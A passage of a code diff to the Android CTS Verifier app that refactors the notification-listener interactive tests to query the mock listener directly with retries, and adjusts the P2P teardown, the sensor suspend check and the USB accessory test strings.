-                                for (String payloadData : result) {
-                                    JSONObject payload = null;
-                                    try {
-                                        payload = new JSONObject(payloadData);
-                                        pass &= checkEquals(mTag1,
-                                                payload.getString(JSON_TAG),
-                                                "data dismissal test: notification tag (%s, %s)");
-                                        pass &= checkEquals(REASON_LISTENER_CANCEL,
-                                                payload.getInt(JSON_TAG),
-                                                "data dismissal test: reason (%d, %d)");
-                                    } catch (JSONException e) {
-                                        e.printStackTrace();
-                                    }
-                                }
-                                status = pass ? PASS : FAIL;
-                                next();
-                            }
-                        });
+                List<JSONObject> result =
+                        new ArrayList<>(MockListener.getInstance().mRemovedReason.values());
+                boolean pass = false;
+                for (JSONObject payload : result) {
+                    try {
+                        pass |= (checkEquals(mTag1,
+                                payload.getString(JSON_TAG),
+                                "data dismissal test: notification tag (%s, %s)")
+                                && checkEquals(REASON_LISTENER_CANCEL,
+                                payload.getInt(JSON_REASON),
+                                "data dismissal test: reason (%d, %d)"));
+                        if(pass) {
+                            break;
+                        }
+                    } catch (JSONException e) {
+                        e.printStackTrace();
+                    }
+                }
+                if (pass) {
+                    status = PASS;
+                } else {
+                    if (--mRetries > 0) {
+                        sleep(100);
+                        status = RETEST;
+                    } else {
+                        status = FAIL;
+                    }
+                }
             }
-            delay();
         }
 
         @Override
-        void tearDown() {
+        protected void tearDown() {
             mNm.cancelAll();
             deleteChannel();
-            MockListener.resetListenerData(mContext);
-            delay();
+            MockListener.getInstance().resetData();
         }
     }
 
     private class DismissAllTest extends InteractiveTestCase {
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.nls_clear_all);
         }
 
         @Override
-        void setUp() {
+        protected void setUp() {
             createChannel();
             sendNotifications();
             status = READY;
-            delay();
         }
 
         @Override
-        void test() {
+        protected void test() {
             if (status == READY) {
-                MockListener.clearAll(mContext);
+                MockListener.getInstance().cancelAllNotifications();
                 status = RETEST;
             } else {
-                MockListener.probeListenerRemoved(mContext,
-                        new MockListener.StringListResultCatcher() {
-                            @Override
-                            public void accept(List<String> result) {
-                                if (result != null && result.size() != 0
-                                        && result.contains(mTag1)
-                                        && result.contains(mTag2)
-                                        && result.contains(mTag3)) {
-                                    status = PASS;
-                                } else {
-                                    logFail();
-                                    status = FAIL;
-                                }
-                                next();
-                            }
-                        });
+                List<String> result = new ArrayList<>(MockListener.getInstance().mRemoved);
+                if (result.size() != 0
+                        && result.contains(mTag1)
+                        && result.contains(mTag2)
+                        && result.contains(mTag3)) {
+                    status = PASS;
+                } else {
+                    logFail();
+                    status = FAIL;
+                }
             }
-            delay();  // in case the catcher never returns
         }
 
         @Override
-        void tearDown() {
+        protected void tearDown() {
             mNm.cancelAll();
             deleteChannel();
-            MockListener.resetListenerData(mContext);
-            delay();
+            MockListener.getInstance().resetData();
         }
     }
 
     private class IsDisabledTest extends InteractiveTestCase {
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createNlsSettingsItem(parent, R.string.nls_disable_service);
         }
 
@@ -471,13 +444,7 @@
         }
 
         @Override
-        void setUp(){
-            MockListener.setHints(mContext, MockListener.HINT_HOST_DISABLE_CALL_EFFECTS);
-            delay();
-        }
-
-        @Override
-        void test() {
+        protected void test() {
             String listeners = Secure.getString(getContentResolver(),
                     ENABLED_NOTIFICATION_LISTENERS);
             if (listeners == null || !listeners.contains(LISTENER_PATH)) {
@@ -485,225 +452,169 @@
             } else {
                 status = WAIT_FOR_USER;
             }
-            next();
         }
 
         @Override
-        void tearDown() {
-            MockListener.resetListenerData(mContext);
-            delay();
+        protected void tearDown() {
+            MockListener.getInstance().resetData();
         }
     }
 
     private class ServiceStoppedTest extends InteractiveTestCase {
+        int mRetries = 3;
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.nls_service_stopped);
         }
 
         @Override
-        void test() {
-            MockListener.probeListenerStatus(mContext,
-                    new MockListener.StatusCatcher() {
-                        @Override
-                        public void accept(int result) {
-                            if (result == Activity.RESULT_OK) {
-                                logFail();
-                                status = FAIL;
-                            } else {
-                                if (mNm.getEffectsSuppressor() == null) {
-                                    status = PASS;
-                                } else {
-                                    status = FAIL;
-                                }
-                            }
-                            next();
-                        }
-                    });
-            delay();  // in case the catcher never returns
-        }
-
-        @Override
-        void tearDown() {
-            // wait for intent to move through the system
-            delay();
+        protected void test() {
+            if (mNm.getEffectsSuppressor() == null && (MockListener.getInstance() == null
+                    || !MockListener.getInstance().isConnected)) {
+                status = PASS;
+            } else {
+                if (--mRetries > 0) {
+                    sleep(100);
+                    status = RETEST;
+                } else {
+                    status = FAIL;
+                }
+            }
         }
     }
 
     private class NotificationNotReceivedTest extends InteractiveTestCase {
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.nls_note_missed);
 
         }
 
         @Override
-        void setUp() {
+        protected void setUp() {
             createChannel();
             sendNotifications();
             status = READY;
-            delay();
         }
 
         @Override
-        void test() {
-            MockListener.probeListenerPosted(mContext,
-                    new MockListener.StringListResultCatcher() {
-                        @Override
-                        public void accept(List<String> result) {
-                            if (result == null || result.size() == 0) {
-                                status = PASS;
-                            } else {
-                                logFail();
-                                status = FAIL;
-                            }
-                            next();
-                        }
-                    });
-            delay();  // in case the catcher never returns
+        protected void test() {
+            if (MockListener.getInstance() == null) {
+                status = PASS;
+            } else {
+                List<String> result = new ArrayList<>(MockListener.getInstance().mPosted);
+                if (result.size() == 0) {
+                    status = PASS;
+                } else {
+                    logFail();
+                    status = FAIL;
+                }
+            }
+            next();
         }
 
         @Override
-        void tearDown() {
+        protected void tearDown() {
             mNm.cancelAll();
             deleteChannel();
-            MockListener.resetListenerData(mContext);
-            delay();
+            if (MockListener.getInstance() != null) {
+                MockListener.getInstance().resetData();
+            }
         }
     }
 
-    private class SnoozeTest extends InteractiveTestCase {
+    private class RequestUnbindTest extends InteractiveTestCase {
+        int mRetries = 5;
+
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.nls_snooze);
 
         }
 
         @Override
-        void setUp() {
+        protected void setUp() {
             status = READY;
-            MockListener.setHints(mContext, MockListener.HINT_HOST_DISABLE_CALL_EFFECTS);
-            delay();
+            MockListener.getInstance().requestInterruptionFilter(
+                    MockListener.HINT_HOST_DISABLE_CALL_EFFECTS);
         }
 
         @Override
-        void test() {
+        protected void test() {
             if (status == READY) {
-                MockListener.snooze(mContext);
+                MockListener.getInstance().requestUnbind();
                 status = RETEST;
             } else {
-                MockListener.probeListenerStatus(mContext,
-                        new MockListener.StatusCatcher() {
-                            @Override
-                            public void accept(int result) {
-                                if (result == Activity.RESULT_OK) {
-                                    logFail();
-                                    status = FAIL;
-                                } else {
-                                    if (mNm.getEffectsSuppressor() == null) {
-                                        status = PASS;
-                                    } else {
-                                        logFail();
-                                        status = RETEST;
-                                        delay();
-                                    }
-                                }
-                                next();
-                            }
-                        });
+                if (mNm.getEffectsSuppressor() == null && !MockListener.getInstance().isConnected) {
+                    status = PASS;
+                } else {
+                    if (--mRetries > 0) {
+                        status = RETEST;
+                    } else {
+                        logFail();
+                        status = FAIL;
+                    }
+                }
+                next();
             }
-            delay();  // in case the catcher never returns
-        }
-
-        @Override
-        void tearDown() {
-            delay();
         }
     }
 
-    private class UnsnoozeTest extends InteractiveTestCase {
+    private class RequestBindTest extends InteractiveTestCase {
+        int mRetries = 5;
+
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.nls_unsnooze);
 
         }
 
         @Override
-        void setUp() {
-            status = READY;
-            delay();
-        }
-
-        @Override
-        void test() {
+        protected void test() {
             if (status == READY) {
                 MockListener.requestRebind(MockListener.COMPONENT_NAME);
                 status = RETEST;
             } else {
-                MockListener.probeListenerStatus(mContext,
-                        new MockListener.StatusCatcher() {
-                            @Override
-                            public void accept(int result) {
-                                if (result == Activity.RESULT_OK) {
-                                    status = PASS;
-                                    next();
-                                } else {
-                                    logFail();
-                                    status = RETEST;
-                                    delay();
-                                }
-                            }
-                        });
+                if (MockListener.getInstance().isConnected) {
+                    status = PASS;
+                    next();
+                } else {
+                    if (--mRetries > 0) {
+                        status = RETEST;
+                        next();
+                    } else {
+                        logFail();
+                        status = FAIL;
+                    }
+                }
             }
-            delay();  // in case the catcher never returns
-        }
-
-        @Override
-        void tearDown() {
-            delay();
         }
     }
 
     private class EnableHintsTest extends InteractiveTestCase {
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.nls_hints);
 
         }
 
         @Override
-        void setUp() {
-            status = READY;
-            delay();
-        }
-
-        @Override
-        void test() {
+        protected void test() {
             if (status == READY) {
-                MockListener.setHints(mContext, MockListener.HINT_HOST_DISABLE_CALL_EFFECTS);
+                MockListener.getInstance().requestListenerHints(
+                        MockListener.HINT_HOST_DISABLE_CALL_EFFECTS);
                 status = RETEST;
             } else {
-                MockListener.probeListenerHints(mContext,
-                        new MockListener.IntegerResultCatcher() {
-                            @Override
-                            public void accept(int result) {
-                                if ((result & MockListener.HINT_HOST_DISABLE_CALL_EFFECTS)
-                                        == MockListener.HINT_HOST_DISABLE_CALL_EFFECTS) {
-                                    status = PASS;
-                                } else {
-                                    logFail();
-                                    status = FAIL;
-                                }
-                                next();
-                            }
-                        });
+                int result = MockListener.getInstance().getCurrentListenerHints();
+                if ((result & MockListener.HINT_HOST_DISABLE_CALL_EFFECTS)
+                        == MockListener.HINT_HOST_DISABLE_CALL_EFFECTS) {
+                    status = PASS;
+                    next();
+                } else {
+                    logFail();
+                    status = FAIL;
+                }
             }
-            delay();  // in case the catcher never returns
-        }
-
-        @Override
-        void tearDown() {
-            delay();
         }
     }
 
@@ -713,13 +624,14 @@
         final static int READY_TO_CHECK_FOR_UNSNOOZE = 2;
         int state = -1;
         long snoozeTime = 3000;
+
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.nls_snooze_one_time);
         }
 
         @Override
-        void setUp() {
+        protected void setUp() {
             createChannel();
             sendNotifications();
             status = READY;
@@ -728,69 +640,55 @@
         }
 
         @Override
-        void test() {
+        protected void test() {
             status = RETEST;
             if (state == READY_TO_SNOOZE) {
-                MockListener.snoozeOneFor(mContext, mTag1, snoozeTime);
+                MockListener.getInstance().snoozeNotification(
+                        MockListener.getInstance().getKeyForTag(mTag1), snoozeTime);
                 state = SNOOZED;
-            } else if (state == SNOOZED){
-                MockListener.probeListenerRemovedWithReason(mContext,
-                        new StringListResultCatcher() {
-                            @Override
-                            public void accept(List<String> result) {
-                                if (result == null || result.size() == 0) {
-                                    status = FAIL;
-                                    return;
-                                }
-                                boolean pass = true;
-                                for (String payloadData : result) {
-                                    JSONObject payload = null;
-                                    try {
-                                        payload = new JSONObject(payloadData);
-                                        pass &= checkEquals(mTag1,
-                                                payload.getString(JSON_TAG),
-                                                "data dismissal test: notification tag (%s, %s)");
-                                        pass &= checkEquals(MockListener.REASON_SNOOZED,
-                                                payload.getInt(JSON_TAG),
-                                                "data dismissal test: reason (%d, %d)");
-                                    } catch (JSONException e) {
-                                        e.printStackTrace();
-                                    }
-                                }
-                                if (!pass) {
-                                    logFail();
-                                    status = FAIL;
-                                    next();
-                                    return;
-                                } else {
-                                    state = READY_TO_CHECK_FOR_UNSNOOZE;
-                                }
-                            }
-                        });
+            } else if (state == SNOOZED) {
+                List<JSONObject> result =
+                        new ArrayList<>(MockListener.getInstance().mRemovedReason.values());
+                boolean pass = false;
+                for (JSONObject payload : result) {
+                    try {
+                        pass |= (checkEquals(mTag1,
+                                payload.getString(JSON_TAG),
+                                "data dismissal test: notification tag (%s, %s)")
+                                && checkEquals(MockListener.REASON_SNOOZED,
+                                payload.getInt(JSON_REASON),
+                                "data dismissal test: reason (%d, %d)"));
+                        if (pass) {
+                            break;
+                        }
+                    } catch (JSONException e) {
+                        e.printStackTrace();
+                    }
+                }
+                if (!pass) {
+                    logFail();
+                    status = FAIL;
+                    next();
+                    return;
+                } else {
+                    state = READY_TO_CHECK_FOR_UNSNOOZE;
+                }
             } else {
-                MockListener.probeListenerPosted(mContext,
-                        new MockListener.StringListResultCatcher() {
-                            @Override
-                            public void accept(List<String> result) {
-                                if (result != null && result.size() != 0
-                                        && result.contains(mTag1)) {
-                                    status = PASS;
-                                } else {
-                                    logFail();
-                                    status = FAIL;
-                                }
-                                next();
-                            }
-                        });
+                List<String> result = new ArrayList<>(MockListener.getInstance().mPosted);
+                if (result.size() > 0 && result.contains(mTag1)) {
+                    status = PASS;
+                } else {
+                    logFail();
+                    status = FAIL;
+                }
             }
-            delay();
         }
 
         @Override
-        void tearDown() {
+        protected void tearDown() {
             mNm.cancelAll();
             deleteChannel();
-            MockListener.resetListenerData(mContext);
+            MockListener.getInstance().resetData();
             delay();
         }
     }
@@ -807,13 +705,14 @@
         int state = -1;
         long snoozeTime = 10000;
         private String tag;
+
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.nls_snooze_one_time);
         }
 
         @Override
-        void setUp() {
+        protected void setUp() {
             createChannel();
             sendNotifications();
             tag = mTag1;
@@ -823,54 +722,49 @@
         }
 
         @Override
-        void test() {
+        protected void test() {
             status = RETEST;
             if (state == READY_TO_SNOOZE) {
-                MockListener.snoozeOneFor(mContext, tag, snoozeTime);
+                MockListener.getInstance().snoozeNotification(
+                        MockListener.getInstance().getKeyForTag(tag), snoozeTime);
                 state = SNOOZED;
-            } else if (state == SNOOZED){
-                MockListener.probeListenerSnoozed(mContext,
-                        new MockListener.StringListResultCatcher() {
-                            @Override
-                            public void accept(List<String> result) {
-                                if (result != null && result.size() >= 1
-                                        && result.contains(tag)) {
-                                    // cancel and repost
-                                    sendNotifications();
-                                    state = READY_TO_CHECK_FOR_SNOOZE;
-                                    delay();
-                                } else {
-                                    logFail();
-                                    status = FAIL;
-                                    next();
-                                }
-                            }
-                        });
+            } else if (state == SNOOZED) {
+                List<String> result = getSnoozed();
+                if (result.size() >= 1
+                        && result.contains(tag)) {
+                    // cancel and repost
+                    sendNotifications();
+                    state = READY_TO_CHECK_FOR_SNOOZE;
+                } else {
+                    logFail();
+                    status = FAIL;
+                }
             } else {
-                MockListener.probeListenerSnoozed(mContext,
-                        new MockListener.StringListResultCatcher() {
-                            @Override
-                            public void accept(List<String> result) {
-                                if (result != null && result.size() >= 1
-                                        && result.contains(tag)) {
-                                    status = PASS;
-                                } else {
-                                    logFail();
-                                    status = FAIL;
-                                }
-                                next();
-                            }
-                        });
+                List<String> result = getSnoozed();
+                if (result.size() >= 1
+                        && result.contains(tag)) {
+                    status = PASS;
+                } else {
+                    logFail();
+                    status = FAIL;
+                }
             }
-            delay();
+        }
+
+        private List<String> getSnoozed() {
+            List<String> result = new ArrayList<>();
+            StatusBarNotification[] snoozed = MockListener.getInstance().getSnoozedNotifications();
+            for (StatusBarNotification sbn : snoozed) {
+                result.add(sbn.getTag());
+            }
+            return result;
         }
 
         @Override
-        void tearDown() {
+        protected void tearDown() {
             mNm.cancelAll();
             deleteChannel();
-            MockListener.resetListenerData(mContext);
-            delay();
+            MockListener.getInstance().resetData();
         }
     }
 
@@ -880,86 +774,81 @@
         final static int READY_TO_CHECK_FOR_GET_SNOOZE = 2;
         int state = -1;
         long snoozeTime = 30000;
+
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.nls_get_snoozed);
         }
 
         @Override
-        void setUp() {
+        protected void setUp() {
             createChannel();
             sendNotifications();
             status = READY;
             state = READY_TO_SNOOZE;
-            delay();
         }
 
         @Override
-        void test() {
+        protected void test() {
             status = RETEST;
             if (state == READY_TO_SNOOZE) {
-                MockListener.snoozeOneFor(mContext, mTag1, snoozeTime);
-                MockListener.snoozeOneFor(mContext, mTag2, snoozeTime);
+                MockListener.getInstance().snoozeNotification(
+                        MockListener.getInstance().getKeyForTag(mTag1), snoozeTime);
+                MockListener.getInstance().snoozeNotification(
+                        MockListener.getInstance().getKeyForTag(mTag2), snoozeTime);
                 state = SNOOZED;
-            } else if (state == SNOOZED){
-                MockListener.probeListenerRemovedWithReason(mContext,
-                        new StringListResultCatcher() {
-                            @Override
-                            public void accept(List<String> result) {
-                                if (result == null || result.size() == 0) {
-                                    status = FAIL;
-                                    return;
-                                }
-                                boolean pass = true;
-                                for (String payloadData : result) {
-                                    JSONObject payload = null;
-                                    try {
-                                        payload = new JSONObject(payloadData);
-                                        pass &= checkEquals(mTag1,
-                                                payload.getString(JSON_TAG),
-                                                "data dismissal test: notification tag (%s, %s)");
-                                        pass &= checkEquals(MockListener.REASON_SNOOZED,
-                                                payload.getInt(JSON_TAG),
-                                                "data dismissal test: reason (%d, %d)");
-                                    } catch (JSONException e) {
-                                        e.printStackTrace();
-                                    }
-                                }
-                                if (!pass) {
-                                    logFail();
-                                    status = FAIL;
-                                    next();
-                                    return;
-                                } else {
-                                    state = READY_TO_CHECK_FOR_GET_SNOOZE;
-                                }
-                            }
-                        });
+            } else if (state == SNOOZED) {
+                List<JSONObject> result =
+                        new ArrayList<>(MockListener.getInstance().mRemovedReason.values());
+                if (result.size() == 0) {
+                    status = FAIL;
+                    return;
+                }
+                boolean pass = false;
+                for (JSONObject payload : result) {
+                    try {
+                        pass |= (checkEquals(mTag1,
+                                payload.getString(JSON_TAG),
+                                "data dismissal test: notification tag (%s, %s)")
+                                && checkEquals(MockListener.REASON_SNOOZED,
+                                payload.getInt(JSON_REASON),
+                                "data dismissal test: reason (%d, %d)"));
+                        if (pass) {
+                            break;
+                        }
+                    } catch (JSONException e) {
+                        e.printStackTrace();
+                    }
+                }
+                if (!pass) {
+                    logFail();
+                    status = FAIL;
+                } else {
+                    state = READY_TO_CHECK_FOR_GET_SNOOZE;
+                }
             } else {
-                MockListener.probeListenerSnoozed(mContext,
-                        new MockListener.StringListResultCatcher() {
-                            @Override
-                            public void accept(List<String> result) {
-                                if (result != null && result.size() >= 2
-                                        && result.contains(mTag1)
-                                        && result.contains(mTag2)) {
-                                    status = PASS;
-                                } else {
-                                    logFail();
-                                    status = FAIL;
-                                }
-                                next();
-                            }
-                        });
+                List<String> result = new ArrayList<>();
+                StatusBarNotification[] snoozed =
+                        MockListener.getInstance().getSnoozedNotifications();
+                for (StatusBarNotification sbn : snoozed) {
+                    result.add(sbn.getTag());
+                }
+                if (result.size() >= 2
+                        && result.contains(mTag1)
+                        && result.contains(mTag2)) {
+                    status = PASS;
+                } else {
+                    logFail();
+                    status = FAIL;
+                }
             }
-            delay();
         }
 
         @Override
-        void tearDown() {
+        protected void tearDown() {
             mNm.cancelAll();
             deleteChannel();
-            MockListener.resetListenerData(mContext);
+            MockListener.getInstance().resetData();
             delay();
         }
     }
@@ -972,21 +861,20 @@
         private final CharSequence extrasValue2 = "extras_value_2";
 
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.msg_extras_preserved);
         }
 
         @Override
-        void setUp() {
+        protected void setUp() {
             createChannel();
             sendMessagingNotification();
             status = READY;
-            // wait for notifications to move through the system
-            delay();
         }
 
         @Override
-        void tearDown() {
+        protected void tearDown() {
+            mNm.cancelAll();
             deleteChannel();
             delay();
         }
@@ -1035,43 +923,38 @@
         }
 
         @Override
-        void test() {
-            MockListener.probeListenerPosted(mContext,
-                    new MockListener.NotificationResultCatcher() {
-                        @Override
-                        public void accept(List<Notification> result) {
-                            if (result == null || result.size() != 1 || result.get(0) == null) {
-                                logFail();
-                                status = FAIL;
-                                next();
-                                return;
-                            }
-                            // Can only read in MessaginStyle using the compat class.
-                            NotificationCompat.MessagingStyle readStyle =
-                                    NotificationCompat.MessagingStyle
-                                        .extractMessagingStyleFromNotification(
-                                              result.get(0));
-                            if (readStyle == null || readStyle.getMessages().size() != 2) {
-                                status = FAIL;
-                                logFail();
-                                next();
-                                return;
-                            }
+        protected void test() {
+            List<Notification> result =
+                    new ArrayList<>(MockListener.getInstance().mPostedNotifications);
+            if (result.size() != 1 || result.get(0) == null) {
+                logFail();
+                status = FAIL;
+                next();
+                return;
+            }
+            // Can only read in MessaginStyle using the compat class.
+            NotificationCompat.MessagingStyle readStyle =
+                    NotificationCompat.MessagingStyle
+                            .extractMessagingStyleFromNotification(
+                                    result.get(0));
+            if (readStyle == null || readStyle.getMessages().size() != 2) {
+                status = FAIL;
+                logFail();
+                next();
+                return;
+            }
 
-                            if (!verifyMessage(readStyle.getMessages().get(0), extrasKey1, extrasValue1)
-                                    || !verifyMessage(
-                                    readStyle.getMessages().get(1), extrasKey2, extrasValue2)) {
-                                status = FAIL;
-                                logFail();
-                                next();
-                                return;
-                            }
+            if (!verifyMessage(readStyle.getMessages().get(0), extrasKey1,
+                    extrasValue1)
+                    || !verifyMessage(
+                    readStyle.getMessages().get(1), extrasKey2, extrasValue2)) {
+                status = FAIL;
+                logFail();
+                next();
+                return;
+            }
 
-                            status = PASS;
-                            next();
-                        }
-                    });
-            delay();  // in case the catcher never returns
+            status = PASS;
         }
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ShortcutThrottlingResetActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ShortcutThrottlingResetActivity.java
index 6a97f0c..bce9f44 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ShortcutThrottlingResetActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ShortcutThrottlingResetActivity.java
@@ -60,12 +60,12 @@
     private final AtomicReference<Intent> mReplyIntent = new AtomicReference<>(null);
 
     @Override
-    int getTitleResource() {
+    protected int getTitleResource() {
         return R.string.shortcut_reset_test;
     }
 
     @Override
-    int getInstructionsResource() {
+    protected int getInstructionsResource() {
         return R.string.shortcut_reset_info;
     }
 
@@ -108,12 +108,12 @@
     /** Make sure the helper package is installed. */
     protected class CheckForBot extends InteractiveTestCase {
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.shortcut_reset_bot);
         }
 
         @Override
-        void test() {
+        protected void test() {
             PackageManager pm = mContext.getPackageManager();
             try {
                 pm.getPackageInfo(NOTIFICATION_BOT_PACKAGE, 0);
@@ -131,12 +131,12 @@
      */
     protected class SetupNotification extends InteractiveTestCase {
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.shortcut_reset_start);
         }
 
         @Override
-        void test() {
+        protected void test() {
             final Intent intent = new Intent(ACTION_RESET_SETUP_NOTIFICATION);
             intent.setPackage(NOTIFICATION_BOT_PACKAGE);
 
@@ -157,12 +157,12 @@
      */
     protected class WaitForTestReply extends InteractiveTestCase {
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.shortcut_reset_prompt_inline_reply);
         }
 
         @Override
-        void test() {
+        protected void test() {
             final Intent replyIntent = mReplyIntent.get();
             if (replyIntent == null) {
                 // Reply not received yet.
@@ -180,12 +180,12 @@
      */
     protected class CheckResult extends InteractiveTestCase {
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.shortcut_reset_check_result);
         }
 
         @Override
-        void test() {
+        protected void test() {
             final Intent replyIntent = mReplyIntent.get();
             if (replyIntent == null) {
                 logFail("Internal error, replyIntent shouldn't be null here.");
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/RequesterTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/RequesterTestActivity.java
index 9540463..aa24d55 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/RequesterTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/RequesterTestActivity.java
@@ -126,6 +126,15 @@
     }
 
     @Override
+    protected void onDestroy() {
+        if (mChannel != null) {
+            mChannel.close();
+        }
+
+        super.onDestroy();
+    }
+
+    @Override
     protected void onResume() {
         super.onResume();
         /*
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/TestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/TestCase.java
index c3a6b8e..7f608c5 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/TestCase.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/TestCase.java
@@ -152,10 +152,16 @@
      * Tear down the test case.
      */
     protected void tearDown() {
-        mP2pMgr.clearLocalServices(mChannel, null);
-        mP2pMgr.clearServiceRequests(mChannel, null);
-        mP2pMgr.clearLocalServices(mSubChannel, null);
-        mP2pMgr.clearServiceRequests(mSubChannel, null);
+        if (mP2pMgr != null) {
+            mP2pMgr.clearLocalServices(mChannel, null);
+            mP2pMgr.clearServiceRequests(mChannel, null);
+            mP2pMgr.clearLocalServices(mSubChannel, null);
+            mP2pMgr.clearServiceRequests(mSubChannel, null);
+        }
+
+        if (mChannel != null) {
+            mChannel.close();
+        }
     }
 
     /**
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
index e5a262a..21ced6e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
@@ -187,18 +187,9 @@
         }
 
         /**
-         * Verify that each continuous sensor is using the correct
-         * clock source (CLOCK_BOOTTIME) for timestamps.
+         * Verify that the device is able to suspend
          */
-        public String testTimestampClockSource() throws Throwable {
-            String string = null;
-            boolean error_occurred = false;
-            List<Sensor> sensorList = mSensorManager.getSensorList(Sensor.TYPE_ALL);
-            if (sensorList == null) {
-                throw new SensorTestStateNotSupportedException(
-                    "Sensors are not available in the system.");
-            }
-
+        public void verifyDeviceCanSuspend() throws Throwable {
             // Make sure clocks are different (i.e. kernel has suspended at least once)
             // so that we can determine if sensors are using correct clocksource timestamp
             final int MAX_SLEEP_ATTEMPTS = 10;
@@ -238,6 +229,22 @@
                 mDeviceSuspendLock.acquire();
             }
             mAlarmManager.cancel(mPendingIntent);
+        }
+
+        /**
+         * Verify that each continuous sensor is using the correct
+         * clock source (CLOCK_BOOTTIME) for timestamps.
+         */
+        public String testTimestampClockSource() throws Throwable {
+            String string = null;
+            boolean error_occurred = false;
+            List<Sensor> sensorList = mSensorManager.getSensorList(Sensor.TYPE_ALL);
+            if (sensorList == null) {
+                throw new SensorTestStateNotSupportedException(
+                    "Sensors are not available in the system.");
+            }
+
+            boolean needToVerifySuspend = true;
 
             for (Sensor sensor : sensorList) {
                 if (sensor.getReportingMode() != Sensor.REPORTING_MODE_CONTINUOUS) {
@@ -248,6 +255,12 @@
                     Log.i(TAG, "testTimestampClockSource skipping vendor specific sensor: '" + sensor.getName());
                     continue;
                 }
+
+                if (needToVerifySuspend) {
+                    verifyDeviceCanSuspend();
+                    needToVerifySuspend = false;
+                }
+
                 try {
                     string = runVerifySensorTimestampClockbase(sensor, false);
                     if (string != null) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java
index 0389584..9f6d72b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java
@@ -92,13 +92,13 @@
             @Override
             protected Throwable doInBackground(Void... params) {
                 try {
+                    assertEquals("Android CTS", accessory.getManufacturer());
+                    assertEquals("Android CTS test companion device", accessory.getModel());
                     assertEquals("Android device running CTS verifier", accessory.getDescription());
-                    assertEquals("Android", accessory.getManufacturer());
-                    assertEquals("Android device", accessory.getModel());
-                    assertEquals("0", accessory.getSerial());
+                    assertEquals("2", accessory.getVersion());
                     assertEquals("https://source.android.com/compatibility/cts/verifier.html",
                             accessory.getUri());
-                    assertEquals("1", accessory.getVersion());
+                    assertEquals("0", accessory.getSerial());
 
                     assertTrue(Arrays.asList(usbManager.getAccessoryList()).contains(accessory));
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java
index 604169a..9dc690b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java
@@ -214,12 +214,12 @@
      */
     private void makeThisDeviceAnAccessory(@NonNull UsbDeviceConnection connection) {
         AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_MANUFACTURER,
-                "Android");
+                "Android CTS");
         AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_MODEL,
-                "Android device");
+                "Android device under CTS test");
         AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_DESCRIPTION,
                 "Android device running CTS verifier");
-        AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_VERSION, "1");
+        AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_VERSION, "2");
         AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_URI,
                 "https://source.android.com/compatibility/cts/verifier.html");
         AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_SERIAL, "0");
